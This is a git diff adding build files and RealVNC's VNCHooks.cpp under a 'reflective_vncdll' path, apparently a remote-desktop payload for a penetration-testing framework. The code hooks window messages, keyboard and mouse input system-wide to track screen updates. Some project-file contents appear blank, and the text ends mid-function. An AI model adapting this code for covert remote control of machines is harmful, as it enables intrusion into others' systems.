"Header Files" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=..\winvnc\d3des.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\keysymdef.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\resource.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfb.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbMisc.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRect.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion_win32.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion_X11.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbUpdateTracker.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\stdhdrs.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\translate.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnc.hh +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncabout.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncacceptdialog.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncauth.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncbuffer.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncclient.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncconndialog.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnccorbaconnect.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncdesktop.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodecorre.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodehext.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodemgr.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencoder.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencoderre.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodezrle.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnchttpconnect.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncinsthandler.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnckeymap.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnclog.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncmenu.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncpasswd.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncproperties.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncserver.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncservice.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncsockconnect.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnctimedmsgbox.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vsocket.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vtypes.h +# End Source File +# Begin Source File + +SOURCE=..\winvnc\winvnc.h +# End Source File +# End Group +# Begin Group "Source Files" + +# PROP Default_Filter "" +# Begin Source File + +SOURCE=..\winvnc\buildtime.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\d3des.c +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion_win32.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbRegion_X11.cxx + +!IF "$(CFG)" == "vncdll - Win32 Release" + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\rfbUpdateTracker.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\stdhdrs.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\tableinitcmtemplate.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\tableinittctemplate.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\tabletranstemplate.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\translate.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncabout.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncacceptdialog.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncauth.c +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncbuffer.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncclient.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncconndialog.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnccorbaconnect.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncdesktop.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodecorre.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodehext.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencoder.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencoderre.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncencodezrle.cxx +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnchttpconnect.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncinsthandler.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnckeymap.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnclog.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncmenu.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncproperties.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncserver.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncservice.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncsk.cpp + +!IF "$(CFG)" == "vncdll - Win32 Release" + +# PROP Exclude_From_Build 1 + +!ELSEIF "$(CFG)" == "vncdll - Win32 Debug" + +!ENDIF + +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vncsockconnect.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vnctimedmsgbox.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\vsocket.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\winvnc.cpp +# End Source File +# Begin Source File + +SOURCE=..\winvnc\winvnc.def +# End Source File +# Begin Source File + +SOURCE=..\winvnc\winvnc.rc +# End Source File +# End Group +# Begin Source File + +SOURCE=..\..\BUILDING.txt +# End Source File +# Begin Source File + +SOURCE=..\building.txt +# End Source File +# Begin Source File + +SOURCE=..\history.txt +# End Source File +# Begin Source File + +SOURCE=..\..\LICENCE.txt +# End Source File +# Begin Source File + +SOURCE=..\README_BINARY.txt +# End Source File +# End Target +# End Project diff --git a/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsw b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsw new file mode 100644 index 0000000000..6155cc4f6d --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.dsw @@ -0,0 +1,29 @@ +Microsoft Developer Studio Workspace File, Format Version 6.00 +# WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! + +############################################################################### + +Project: "vncdll"=.\vncdll.dsp - Package Owner=<4> + +Package=<5> +{{{ +}}} + +Package=<4> +{{{ +}}} + +############################################################################### + +Global: + +Package=<5> +{{{ +}}} + +Package=<3> +{{{ +}}} + +############################################################################### + diff --git a/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj new file mode 100644 index 0000000000..5bb54c288e --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj @@ -0,0 +1,971 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.7.10.old b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.7.10.old new file mode 100644 index 0000000000..0dfa37d0aa --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.7.10.old @@ -0,0 +1,761 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.UNKNOWN.steve.user b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.UNKNOWN.steve.user new file mode 100644 index 0000000000..4235de006f --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vncdll/vncdll.vcproj.UNKNOWN.steve.user @@ -0,0 +1,37 @@ + + + + + + + + diff --git a/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.cpp b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.cpp new file mode 100644 index 0000000000..219e582c3c --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/vnchooks/VNCHooks.cpp @@ -0,0 +1,1101 @@ +// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved. +// Copyright (C) 1997 AT&T Laboratories Cambridge. All Rights Reserved. +// +// This file is part of the VNC system. +// +// The VNC system is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, +// USA. +// +// If the source code for the VNC system is not available from the place +// whence you received this file, check http://www.uk.research.att.com/vnc or contact +// the authors on vnc@uk.research.att.com for information on obtaining it. + +// VNC update hook implementation. +// + +#include "VNCHooks.h" + +#include +#include +#include + +///////////////////////////////////////////////////////////////////////////// +// Storage for the global data in the DLL + +// MSVC is bugged - if a default value is missed off from one of the following +// variables then that variable is process-specific for some reason! + +#pragma data_seg(".SharedData") +DWORD vnc_thread_id = 0; +UINT UpdateRectMessage = 0; +UINT CopyRectMessage = 0; +UINT MouseMoveMessage = 0; +HHOOK hCallWndHook = NULL; // Handle to the CallWnd hook +HHOOK hGetMsgHook = NULL; // Handle to the GetMsg hook +HHOOK hDialogMsgHook = NULL; // Handle to the DialogMsg hook +HHOOK hLLKeyboardHook = NULL; // Handle to LowLevel kbd hook +HHOOK hLLMouseHook = NULL; // Handle to LowLevel mouse hook +#pragma data_seg( ) + +///////////////////////////////////////////////////////////////////////////// +// Per-instance DLL variables + +const char sPrefSegment[] = "Application_Prefs"; +char *sModulePrefs = NULL; // Name of the module that created us +BOOL prf_use_GetUpdateRect = FALSE; // Use the GetUpdateRect paint mode +BOOL prf_use_Timer = TRUE; // Use Timer events to trigger updates +BOOL prf_use_KeyPress = TRUE; // Use keyboard events +BOOL prf_use_LButtonUp = TRUE; // Use left mouse button up events +BOOL prf_use_MButtonUp = FALSE; // Use middle mouse button up events +BOOL prf_use_RButtonUp = FALSE; // Use right mouse button up events +BOOL prf_use_Deferral = TRUE; // Use deferred updates + +HINSTANCE hInstance = NULL; // This instance of the DLL +BOOL HookMaster = FALSE; // Is this instance WinVNC itself? + +BOOL appHookedOK = FALSE; // Did InitInstance succeed? + +ULONG old_cursor = NULL; // Current Cursor icon handle + +///////////////////////////////////////////////////////////////////////////// +// Registered messages & atoms to be used by VNCHooks.DLL + +// Messages +const UINT VNC_DEFERRED_UPDATE = RegisterWindowMessage("VNCHooks.Deferred.UpdateMessage"); + +// Atoms +const char *VNC_POPUPSELN_ATOMNAME = "VNCHooks.PopUpMenu.Selected"; +ATOM VNC_POPUPSELN_ATOM = NULL; + +///////////////////////////////////////////////////////////////////////////// +// The DLL functions + +// Forward definition of hook procedures + +BOOL HookHandle(UINT msg, HWND hWnd, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK CallWndProc (int nCode, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK GetMessageProc(int nCode, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK DialogMessageProc(int nCode, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK LowLevelKeyboardFilterProc(int nCode, WPARAM wParam, LPARAM lParam); +LRESULT CALLBACK LowLevelMouseFilterProc(int nCode, WPARAM wParam, LPARAM lParam); + +// Forward definition of setup and shutdown procedures +BOOL InitInstance(); +BOOL ExitInstance(); + +// The DLL's main procedure +BOOL WINAPI DllMain (HANDLE hInst, ULONG ul_reason_for_call, LPVOID lpReserved) +{ + // Find out why we're being called + switch (ul_reason_for_call) + { + + case DLL_PROCESS_ATTACH: + _RPT0(_CRT_WARN, "vncHooks : Hook DLL loaded\n"); + + // Save the instance handle + hInstance = (HINSTANCE)hInst; + + // Call the initialisation function + appHookedOK = InitInstance(); + + // ALWAYS return TRUE to avoid breaking unhookable applications!!! + return TRUE; + + case DLL_PROCESS_DETACH: + _RPT0(_CRT_WARN, "vncHooks : Hook DLL unloaded\n"); + + // Call the exit function + // If the app failed to hook OK, ExitInstance will still operate OK (hopefully...) + ExitInstance(); + + return TRUE; + + default: + return TRUE; + } +} + +// Function used to find out whether VNCHooks uses "reliable" or "hint" hooks +// Currently is always zero to indicate unreliable, hint hooks. +DllExport DWORD HooksType() +{ + // Unreliable "hint" hooks + return 0; +} + +// Add the new hook + +DllExport BOOL SetHooks(DWORD thread_id, UINT UpdateMsg, UINT CopyMsg, UINT MouseMsg) +{ + + // Don't add the hook if the thread id is NULL + if (!thread_id) + return FALSE; + + // Don't add a hook if there is already one added + if (vnc_thread_id) + return FALSE; + + // Add the CallWnd hook + hCallWndHook = SetWindowsHookEx( + WH_CALLWNDPROC, // Hook in before msg reaches app + (HOOKPROC) CallWndProc, // Hook procedure + hInstance, // This DLL instance + 0L // Hook in to all apps +// GetCurrentThreadId() // DEBUG : HOOK ONLY WinVNC + ); + + // Add the GetMessage hook + hGetMsgHook = SetWindowsHookEx( + WH_GETMESSAGE, // Hook in before msg reaches app + (HOOKPROC) GetMessageProc, // Hook procedure + hInstance, // This DLL instance + 0L // Hook in to all apps +// GetCurrentThreadId() // DEBUG : HOOK ONLY WinVNC + ); + + // Add the GetMessage hook + hDialogMsgHook = SetWindowsHookEx( + WH_SYSMSGFILTER, // Hook in dialogs, menus and scrollbars + (HOOKPROC) DialogMessageProc, // Hook procedure + hInstance, // This DLL instance + 0L // Hook in to all apps + ); + + // Check that it worked + if ((hCallWndHook != NULL) && (hGetMsgHook != NULL) && (hDialogMsgHook != NULL)) + { + vnc_thread_id = thread_id; // Save the WinVNC thread id + UpdateRectMessage = UpdateMsg; // Save the message ID to use for rectangle updates + CopyRectMessage = CopyMsg; // Save the message ID to use for copyrect + MouseMoveMessage = MouseMsg; // Save the message ID to send when mouse moves + HookMaster = TRUE; // Set the HookMaster flag for this instance + return TRUE; + } + else + { + // Stop the keyboard hook + SetKeyboardFilterHook(FALSE); + SetMouseFilterHook(FALSE); + + // Kill the main hooks + if (hCallWndHook != NULL) + UnhookWindowsHookEx(hCallWndHook); + if (hGetMsgHook != NULL) + UnhookWindowsHookEx(hGetMsgHook); + if (hDialogMsgHook != NULL) + UnhookWindowsHookEx(hDialogMsgHook); + hCallWndHook = NULL; + hGetMsgHook = NULL; + hDialogMsgHook = NULL; + } + + // The hook failed, so return an error code + return FALSE; + +} + +// EnumWindows procedure to remove the extra property we added + +BOOL CALLBACK +KillPropsProc(HWND hwnd, LPARAM lParam) +{ + // Remove our custom property... + RemoveProp(hwnd, (LPCTSTR) MAKELONG(VNC_POPUPSELN_ATOM, 0)); + return TRUE; +} + +// Remove the hook from the system + +DllExport BOOL UnSetHooks(DWORD thread_id) +{ + + BOOL unHooked = TRUE; + + // Remove the extra property value from all local windows + EnumWindows((WNDENUMPROC) &KillPropsProc, NULL); + + // Stop the keyboard & mouse hooks + unHooked = unHooked && SetKeyboardFilterHook(FALSE); + unHooked = unHooked && SetMouseFilterHook(FALSE); + + // Is the window handle valid? + if (thread_id != vnc_thread_id) + return FALSE; + + // Unhook the procs + if (hCallWndHook != NULL) + { + unHooked = unHooked && UnhookWindowsHookEx(hCallWndHook); + hCallWndHook = NULL; + } + + if (hGetMsgHook != NULL) + { + unHooked = unHooked && UnhookWindowsHookEx(hGetMsgHook); + hGetMsgHook = NULL; + } + + if (hDialogMsgHook != NULL) + { + unHooked = unHooked && UnhookWindowsHookEx(hDialogMsgHook); + hDialogMsgHook = NULL; + } + + // If we managed to unhook then reset + if (unHooked) + { + vnc_thread_id = 0; + HookMaster = FALSE; + } + + return unHooked; + +} + +// Routine to start and stop local keyboard message filtering +DllExport BOOL SetKeyboardFilterHook(BOOL activate) +{ + if (activate) + { +#ifdef WH_KEYBOARD_LL + if (hLLKeyboardHook == NULL) + { + // Start up the hook... + hLLKeyboardHook = SetWindowsHookEx( + WH_KEYBOARD_LL, // Hook in before msg reaches app + (HOOKPROC) LowLevelKeyboardFilterProc, // Hook procedure + hInstance, // This DLL instance + 0L // Hook in to all apps + ); + if (hLLKeyboardHook == NULL) + return FALSE; + } + return TRUE; +#else +#pragma message("warning:Low-Level Keyboard hook code omitted.") + return FALSE; +#endif + } else { + if (hLLKeyboardHook != NULL) + { + // Stop the hook... + if (!UnhookWindowsHookEx(hLLKeyboardHook)) + return FALSE; + hLLKeyboardHook = NULL; + } + return TRUE; + } +} + +// Routine to start and stop local mouse message filtering +DllExport BOOL SetMouseFilterHook(BOOL activate) +{ + if (activate) + { +#ifdef WH_MOUSE_LL + if (hLLMouseHook == NULL) + { + // Start up the hook... + hLLMouseHook = SetWindowsHookEx( + WH_MOUSE_LL, // Hook in before msg reaches app + (HOOKPROC) LowLevelMouseFilterProc, // Hook procedure + hInstance, // This DLL instance + 0L // Hook in to all apps + ); + if (hLLMouseHook == NULL) + return FALSE; + } + return TRUE; +#else +#pragma message("warning:Low-Level Mouse hook code omitted.") + return FALSE; +#endif + } else { + if (hLLMouseHook != NULL) + { + // Stop the hook... + if (!UnhookWindowsHookEx(hLLMouseHook)) + return FALSE; + hLLMouseHook = NULL; + } + return TRUE; + } +} + +// Routine to get the window's client rectangle, in screen coordinates +inline BOOL GetAbsoluteClientRect(HWND hwnd, RECT *rect) +{ + POINT topleft; + topleft.x = 0; + topleft.y = 0; + + // Get the client rectangle size + if (!GetClientRect(hwnd, rect)) + return FALSE; + + // Get the client rectangle position + if (!ClientToScreen(hwnd, &topleft)) + return FALSE; + + // Now adjust the window rectangle + rect->left += topleft.x; + rect->top += topleft.y; + rect->right += topleft.x; + rect->bottom += topleft.y; + + return TRUE; +} + +// Routine to send an UpdateRect message to WinVNC +inline void SendUpdateRect(SHORT x, SHORT y, SHORT x2, SHORT y2) +{ + WPARAM vwParam; + LPARAM vlParam; + + vwParam = MAKELONG(x, y); + vlParam = MAKELONG(x2, y2); + + // Send the update to WinVNC + if (!PostThreadMessage( + vnc_thread_id, + UpdateRectMessage, + vwParam, + vlParam + )) + vnc_thread_id = 0; +} + +// Send a window's position to WinVNC + +inline void SendWindowRect(HWND hWnd) +{ + RECT wrect; + + // Get the rectangle position + if (IsWindowVisible(hWnd) && GetWindowRect(hWnd, &wrect)) + { + // Send the position + SendUpdateRect( + (SHORT) wrect.left, + (SHORT) wrect.top, + (SHORT) wrect.right, + (SHORT) wrect.bottom + ); + } +} + +// Send a deferred message into this Window's message queue, so that +// we'll intercept it again only after the message that triggered it has been +// handled + +inline void SendDeferredUpdateRect(HWND hWnd, SHORT x, SHORT y, SHORT x2, SHORT y2) +{ + WPARAM vwParam; + LPARAM vlParam; + + vwParam = MAKELONG(x, y); + vlParam = MAKELONG(x2, y2); + + if (prf_use_Deferral) + { + // Send the update back to the window + PostMessage( + hWnd, + VNC_DEFERRED_UPDATE, + vwParam, + vlParam + ); + } + else + { + // Send the update to WinVNC + if (!PostThreadMessage( + vnc_thread_id, + UpdateRectMessage, + vwParam, + vlParam + )) + vnc_thread_id = 0; + } +} + +inline void SendDeferredWindowRect(HWND hWnd) +{ + RECT wrect; + + // Get the rectangle position + if (IsWindowVisible(hWnd) && GetWindowRect(hWnd, &wrect)) + { + // Send the position + SendDeferredUpdateRect( + hWnd, + (SHORT) wrect.left, + (SHORT) wrect.top, + (SHORT) wrect.right, + (SHORT) wrect.bottom + ); + } +} + +inline void SendDeferredBorderRect(HWND hWnd) +{ + RECT wrect; + RECT crect; + + // Get the rectangle position + if (IsWindowVisible(hWnd) && GetWindowRect(hWnd, &wrect)) + { + // Get the client rectangle position + if (GetAbsoluteClientRect(hWnd, &crect)) + { + // Send the four border rectangles + SendDeferredUpdateRect(hWnd, (SHORT) wrect.left, (SHORT) wrect.top, (SHORT) wrect.right, (SHORT) crect.top); + SendDeferredUpdateRect(hWnd, (SHORT) wrect.left, (SHORT) wrect.top, (SHORT) crect.left, (SHORT) wrect.bottom); + SendDeferredUpdateRect(hWnd, (SHORT) wrect.left, (SHORT) crect.bottom, (SHORT) wrect.right, (SHORT) wrect.bottom); + SendDeferredUpdateRect(hWnd, (SHORT) crect.right, (SHORT) wrect.top, (SHORT) wrect.right, (SHORT) wrect.bottom); + } + } +} + +// Generic hook-handler + +inline BOOL HookHandle(UINT MessageId, HWND hWnd, WPARAM wParam, LPARAM lParam) +{ + //////////////////////////////////////////////////////////////// + // HANDLE DEFERRED UPDATES + + // Is this a deferred-update message? + if (MessageId == VNC_DEFERRED_UPDATE) + { + + // NOTE : NEVER use the SendDeferred- routines to send updates + // from here, or you'll get an infinite loop....! + + // NB : The format of DEFERRED_UPDATE matches that of UpdateRectMessage, + // so just send the exact same message data to WinVNC + + if (!PostThreadMessage( + vnc_thread_id, + UpdateRectMessage, + wParam, + lParam + )) + vnc_thread_id = 0; + + return FALSE; + } + + // *** Could use WM_COPYDATA to send data to WinVNC + +/* + if (GetClassLong(hWnd, GCW_ATOM) == 32768) + { + _RPT4(_CRT_WARN, "DBG : popup menu message (hwnd=%d, msg=%d, l=%d, w=%d)\n", + hWnd, MessageId, lParam, wParam); + } +*/ + + //////////////////////////////////////////////////////////////// + // UPDATE-TRIGGERING MESSAGES + + // Do something dependent upon message type + switch (MessageId) + { + + //////////////////////////////////////////////////////////////// + // Messages indicating only a border repaint. + case WM_NCPAINT: + case WM_NCACTIVATE: + SendDeferredBorderRect(hWnd); + old_cursor = NULL; + break; + + //////////////////////////////////////////////////////////////// + // Messages indicating a client area repaint + case WM_CHAR: + case WM_KEYUP: // Handle key-presses + if (prf_use_KeyPress) + SendDeferredWindowRect(hWnd); + break; + + case WM_LBUTTONUP: // Handle LMB clicks + if (prf_use_LButtonUp) + SendDeferredWindowRect(hWnd); + break; + + case WM_MBUTTONUP: // Handle MMB clicks + if (prf_use_MButtonUp) + SendDeferredWindowRect(hWnd); + break; + + case WM_RBUTTONUP: // Handle RMB clicks + if (prf_use_RButtonUp) + SendDeferredWindowRect(hWnd); + break; + + case WM_MOUSEWHEEL: // Handle mousewheel events + SendDeferredWindowRect(hWnd); + break; + + case WM_TIMER: + if (prf_use_Timer) + SendDeferredWindowRect(hWnd); + break; + + case WM_HSCROLL: + case WM_VSCROLL: + if (((int) LOWORD(wParam) == SB_THUMBTRACK) || ((int) LOWORD(wParam) == SB_ENDSCROLL)) + SendDeferredWindowRect(hWnd); + break; + + case 485: // HACK to handle popup menus + { + // Get the old popup menu selection value + HANDLE prop = GetProp(hWnd, (LPCTSTR) MAKELONG(VNC_POPUPSELN_ATOM, 0)); + if (prop != (HANDLE) wParam) + { + // It did, so update the menu & the selection value + SendDeferredWindowRect(hWnd); + SetProp(hWnd, + (LPCTSTR) MAKELONG(VNC_POPUPSELN_ATOM, 0), + (HANDLE) wParam); + } + } + break; + + //////////////////////////////////////////////////////////////// + // Messages indicating a full window update + case WM_SYSCOLORCHANGE: + case WM_PALETTECHANGED: + case WM_SETTEXT: + case WM_ENABLE: + case BM_SETCHECK: + case BM_SETSTATE: + case EM_SETSEL: + //case WM_MENUSELECT: + SendDeferredWindowRect(hWnd); + break; + + //////////////////////////////////////////////////////////////// + // Messages indicating that an area of the window needs updating + // Uses GetUpdateRect to find out which + case WM_PAINT: + if (prf_use_GetUpdateRect) + { + HRGN region; + region = CreateRectRgn(0, 0, 0, 0); + + // Get the affected region + if (GetUpdateRgn(hWnd, region, FALSE) != ERROR) + { + int buffsize; + UINT x; + RGNDATA *buff; + POINT TopLeft; + + // Get the top-left point of the client area + TopLeft.x = 0; + TopLeft.y = 0; + if (!ClientToScreen(hWnd, &TopLeft)) + break; + + // Get the size of buffer required + buffsize = GetRegionData(region, 0, 0); + if (buffsize != 0) + { + buff = (RGNDATA *) new BYTE [buffsize]; + if (buff == NULL) + break; + + // Now get the region data + if(GetRegionData(region, buffsize, buff)) + { + for (x=0; x<(buff->rdh.nCount); x++) + { + // Obtain the rectangles from the list + RECT *urect = (RECT *) (((BYTE *) buff) + sizeof(RGNDATAHEADER) + (x * sizeof(RECT))); + SendDeferredUpdateRect( + hWnd, + (SHORT) (TopLeft.x + urect->left), + (SHORT) (TopLeft.y + urect->top), + (SHORT) (TopLeft.x + urect->right), + (SHORT) (TopLeft.y + urect->bottom) + ); + } + } + + delete [] buff; + } + } + + // Now free the region + if (region != NULL) + DeleteObject(region); + } + else + SendDeferredWindowRect(hWnd); + break; + + //////////////////////////////////////////////////////////////// + // Messages indicating full repaint of this and a different window + // Send the new position of the window + case WM_WINDOWPOSCHANGING: + if (IsWindowVisible(hWnd)) + SendWindowRect(hWnd); + break; + + case WM_WINDOWPOSCHANGED: + if (IsWindowVisible(hWnd)) + SendDeferredWindowRect(hWnd); + break; + + //////////////////////////////////////////////////////////////// + // WinVNC also wants to know about mouse movement + case WM_NCMOUSEMOVE: + case WM_MOUSEMOVE: + // Inform WinVNC that the mouse has moved and pass it the current cursor handle + { + ULONG new_cursor = (ULONG)GetCursor(); + if (new_cursor != old_cursor) { + if (!PostThreadMessage( + vnc_thread_id, + MouseMoveMessage, + (ULONG) new_cursor, 0)) + vnc_thread_id = 0; + old_cursor=new_cursor; + } + } + break; + + //////////////////////////////////////////////////////////////// + // VNCHOOKS PROPERTIES HANDLING WINDOWS + case WM_DESTROY: + RemoveProp(hWnd, (LPCTSTR) MAKELONG(VNC_POPUPSELN_ATOM, 0)); + break; + + } + + return TRUE; +} + +// Hook procedure for CallWindow hook + +LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Do we have to handle this message? + if (nCode == HC_ACTION) + { + // Process the hook if the WinVNC thread ID is valid + if (vnc_thread_id) + { + CWPSTRUCT *cwpStruct = (CWPSTRUCT *) lParam; + HookHandle(cwpStruct->message, cwpStruct->hwnd, cwpStruct->wParam, cwpStruct->lParam); + } + } + + // Call the next handler in the chain + return CallNextHookEx (hCallWndHook, nCode, wParam, lParam); +} + +// Hook procedure for GetMessageProc hook + +LRESULT CALLBACK GetMessageProc(int nCode, WPARAM wParam, LPARAM lParam) +{ + // Do we have to handle this message? + if (nCode == HC_ACTION) + { + // Process the hook only if the WinVNC thread id is valid + if (vnc_thread_id) + { + MSG *msg = (MSG *) lParam; + + // Only handle application messages if they're being removed: + if (wParam & PM_REMOVE) + { + // Handle the message + HookHandle(msg->message, msg->hwnd, msg->wParam, msg->lParam); + } + } + } + + // Call the next handler in the chain + return CallNextHookEx (hGetMsgHook, nCode, wParam, lParam); +} + +// Hook procedure for DialogMessageProc hook + +LRESULT CALLBACK DialogMessageProc(int nCode, 